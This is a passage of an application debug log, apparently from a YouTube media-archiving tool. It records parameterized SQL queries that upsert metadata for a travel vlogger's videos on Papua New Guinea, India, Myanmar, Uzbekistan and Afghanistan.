"6750335c-4392-4b17-b38f-c08ade6ea8e8", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 18:29:15.775 [debug] QUERY OK source="sources" db=0.1ms idle=15.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.776 [debug] QUERY OK source="media_items" db=0.2ms idle=12.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 18:29:15.778 [debug] QUERY OK source="media_items" db=1.9ms idle=12.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "4bfda5c8-9309-4586-a9e9-36cddac86d15", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 18:29:15.778 [debug] QUERY OK source="sources" db=0.2ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.779 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 18:29:15.780 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "cfe00bc6-b747-41b0-b064-c4a7d84b2f9d", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 18:29:15.780 [debug] QUERY OK source="sources" db=0.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.781 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 18:29:15.782 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "706241a2-9b33-489b-b1c5-42c2e7d470ae", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 18:29:15.782 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.782 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 18:29:15.783 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "383c6e92-4cc3-4446-bbd7-8bd2624c259f", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 18:29:15.784 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.784 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 18:29:15.785 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "65045f23-0f7c-45cd-8e71-3aba0baf2d62", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 18:29:15.786 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.786 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 18:29:15.787 [debug] QUERY OK source="media_items" db=0.9ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "756e4b08-7944-4aaf-8b71-e87cee2204ae", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 18:29:15.788 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.788 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 18:29:15.789 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "ab2ad57b-627b-4bcd-b705-ff86a1d5d2a0", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 18:29:15.789 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:29:15.790 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 18:29:15.791 [debug] QUERY OK source="media_items" db=0.8ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" 